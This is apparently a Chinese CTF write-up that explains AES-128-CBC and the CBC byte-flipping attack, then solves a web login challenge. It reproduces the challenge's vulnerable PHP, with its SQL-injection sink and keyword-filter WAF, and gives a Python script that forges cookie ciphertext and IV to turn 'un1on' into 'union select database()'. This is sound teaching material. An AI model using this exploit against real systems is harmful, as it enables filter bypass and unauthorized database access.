这是第二个密码学在web方向的应用,学会cbc字符串翻转,彻底搞懂aes-128-cbc加密!
0x00 aes-128-cbc
这道题涉及到了aes-128-cbc
的cbc字符翻转攻击
,所以在讲题之前,我们先讲解一下前置知识。
首先,什么是aes
呢?
高级加密标准(英语:Advanced Encryption Standard,缩写:AES),在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES,已经被多方分析且广为全世界所使用。经过五年的甄选流程,高级加密标准由美国国家标准与技术研究院(NIST)于2001年11月26日发布于FIPS PUB 197,并在2002年5月26日成为有效的标准。2006年,高级加密标准已然成为对称密钥加密中最流行的算法之一。
摘自Wikipedia
我们看到了,aes
是一种或者说一类对称加密算法
,那么,对称加密又是什么?
需要对加密和解密使用相同密钥的加密算法。由于其速度快,对称性加密通常在消息发送方需要加密大量数据时使用。对称性加密也称为密钥加密。
所谓对称,就是采用这种加密方法的双方使用方式用同样的密钥进行加密和解密。密钥是控制加密及解密过程的指令。算法是一组规则,规定如何进行加密和解密。
摘自百度百科
那么,aes-128-cbc
又是什么?
aes分为5中加密模式,分别是
.电码本模式(Electronic Codebook Book (ECB)
这种模式是将整个明文分成若干段相同的小段,然后对每一小段进行加密。
密码分组链接模式(Cipher Block Chaining (CBC))
这种模式是先将明文切分成若干小段,然后每一小段与初始块或者上一段的密文段进行异或运算后,再与密钥进行加密。
计算器模式(Counter (CTR))
计算器模式不常见,在CTR模式中, 有一个自增的算子,这个算子用密钥加密之后的输出和明文异或的结果得到密文,相当于一次一密。这种加密方式简单快速,安全可靠,而且可以并行加密,但是在计算器不能维持很长的情况下,密钥只能使用一次。
密码反馈模式(Cipher FeedBack (CFB))
输出反馈模式(Output FeedBack (OFB))
而128主要是指密钥长度不同
aes-128-cbc
的加密原理:
其实上面这张图就把cbc的原理说的很清楚,所谓chain block
,就是先将明文分成固定大小的block,然后通过初始化向量和密钥加密得到第一组密文,然后在将第一组的密文作为向量,再与第二组运算...重复这个过程,直到完成所有组的加密
同样的,解密的过程也是这样:
这里涉及到几个变量,我们来解释一下:
- IV:就是初始化变量
- key:密钥
- ciphertext:密文
- plaintext:明文
- 中间值,就是由密文与key解密得到的中间值
那么,我们下面要利用的,很重要的一环,就是:
前一组的密文,要与下一组的中间结果异或来得到下一组的明文。
0x01 cbc字符翻转攻击
什么是cbc字符翻转攻击呢
?
先说这种攻击方式可以用来干嘛,假设一个情景:
你发现了你们学校的教务系统地方有sql注入的地方,但是绝望的是他把select过滤了,狗不狗,气不气?
但是也没关系,如果情景到位的话,你完全可以先传入一个se1ect进去,然后在用cbc字符翻转,将1变成l,
这样不就绕过了过滤吗
当然,上边的情景是我现想的,可能有细节处不符合现实,但只要理解了我的意思就好。
我们前面提到了,解密过程中,依赖的是前一组的密文与后一组的中间结果的异或来实现的。
那么,我们其实就可以通过修改前一组的密文来实现影响后一组的明文
这就是最简单的原理,当然,最简单的,展开来说,还有以下问题:
- 如何修改
- 修改后会不会影响其他的分组的明文
如何修改
我们知道异或的规则:
相同则是0,不同则是1
这是位运算的规则,那倘若是两个字符串做异或呢?
我们知道计算机中以字节存放数据,一个字节有是由指定位数组成,那么其实任何数据的
异或都是两串01的异或,那么就好说了。
我们知道:
如果 A XOR B = C
那么 A XOR C = B
所以 如果 A XOR B = C XOR D,
那么 C = A XOR B XOR D
放到CBC字符翻转攻击中就是,我们知道了原来的密文,知道了新的明文,知道了旧的明文,我们就可以得到新的密文。
这里的密文指的是与要修改的明文具有相同偏移量的前一组的密文
举个例子:
我们有一个字符串“Hello,this is vophan spe3k”,通过aes-128-cbc加密,我们在不知道秘钥的情况下,想将3改成e,那么,我们首先要分组:
BLOCK 1 : Hello,this is vo
BLOCK 2 : pahn spe3k
我们可以看到,我们想修改的是第二组的第九个字节,那么我们就要修改第一组密文的第九个字节
修改成啥?这还问我?自己求!
3e(原来的密文)
想必现在已经会了吧
修改后会不会影响其他的分组的明文
聪明的小伙伴,应该已经发现了,光上边的操作是不对的,因为修改原来的密文已经破坏了本组的中间结果了,以至于异或后结果不对
对于,前面的例子,我们怎么才能得到正确的结果呢?
我们知道由于我们修改了第一组的密文,导致中间结果出错,最终导致第一组的明文出错。
所以,我们要做的就是恢复第一组的明文,当然就是通过修改IV值了。
修改方法也是同上边一样的。
0x02 简单的登录题
下面来看一下题目:http://ctf5.shiyanbar.com/web/jiandan/index.php
首先,我们先随便传一个1,然后抓一个包,然后发现包里面有tips,告诉我们有test.php,访问一下就得到了源码
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize
");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo 'Hello!'.$rows['username'].'
';
}
else{
echo 'Hello!
';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("sql inject detected!
");
$info = array('id'=>$id);
login($info);
echo 'Hello!
';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '
';
}
}
大概看一下,我们会发现他的逻辑很简单,通过aes-128-cbc
设置cookies,然后通过cookies反序列化得到id。
然后,我们发现有个可以注入的地方,但是许多被WAF规则禁了,这时候我们就想到了用cbc字符翻转
来绕过这个过滤了。然后,写一个脚本,生成payload,更新cookies,得手!
def test():
serialize_str = 'a:1:{s:2:"id";s:29:"20 un1on select database()++ ";}'
cipher = "gC625pPzM9eUCi9iWQWwM3hBtBnd0STY6ruziMKN5%2FjskDh4ybfKsfT83KQ8AkXdKF9BZoUYO3Zri2Ob1zEPiQ%3D%3D"
iv = "SUDPLSy00hyeHaOHEOXUqg%3D%3D"
b_64_cipher = urllib.parse.unquote(cipher)
aes_cipher = b64decode(b_64_cipher)
aes_cipher = aes_cipher[:30] + bytes([aes_cipher[30]^ord("+")^ord("-")]) + bytes([aes_cipher[31]^ord("+")^ord("-")]) + aes_cipher[32:]
cipher = aes_cipher
temp = urllib.parse.quote(b64encode(cipher).decode("utf-8"))
print(temp)
plain_text = 'YToxOntzOjI6ImlkIjtzOrirsSbhZCbD0TQdNiLCQRFlY3QgZGF0YWJhc2UoKS0tICI7fQ=='
b_64_plain = urllib.parse.unquote(plain_text)
plain_text = b64decode(b_64_plain)
new = '29:"20 union sel'
plain = plain_text[16:32]
for i in range(16):
cipher = cipher[:i] + bytes([cipher[i]^plain[i]^ord(new[i])]) + cipher[i+1:]
plain_2 = 'XdjekyooBD4bAE+NHrNltzI5OiIyMCB1bmlvbiBzZWxlY3QgZGF0YWJhc2UoKS0tICI7fQ=='
plain_text = b64decode(plain_2)
new = 'a:1:{s:2:"id";s:'
plain = plain_text[:16]
iv = b64decode(urllib.parse.unquote(iv))
for i in range(16):
iv = iv[:i] + bytes([iv[i]^plain[i]^ord(new[i])]) + iv[i+1:]
b_64_iv = b64encode(iv)
iv = urllib.parse.quote(b_64_iv.decode("utf-8"))
print(iv)
代码中数据为做题时的数据,不具有代表性。
sql语句的构造不是重点,所以这里略过.....
0x03 深入一点
我在做这道题的时候,有一个地方困扰了我很久
网上的资料大多都说,第二组的明文用第一组的密文修改,然后更新IV就好
但是,如果我要改变第三组呢?如果我要翻转的不止一个字节呢?
后来我终于想明白了,如果修改的是第三组的某个明文,我们需要修改第二组的密文,同时我们知道,这样会影响到第二组的明文,所以就像前面恢复IV一样,我们还需要重建第二组的密文,不过这里,我们就不需要将重建与多个修改分成两步来做了,我们可以一步完成。
0x04 参考材料
如果你觉得,这篇文章还不够细致易懂,那么我给你开个小灶
AES五种加密模式(CBC、ECB、CTR、OCF、CFB)
CBC Byte Flipping Attack—101 Approach
实验吧简单的登录题wp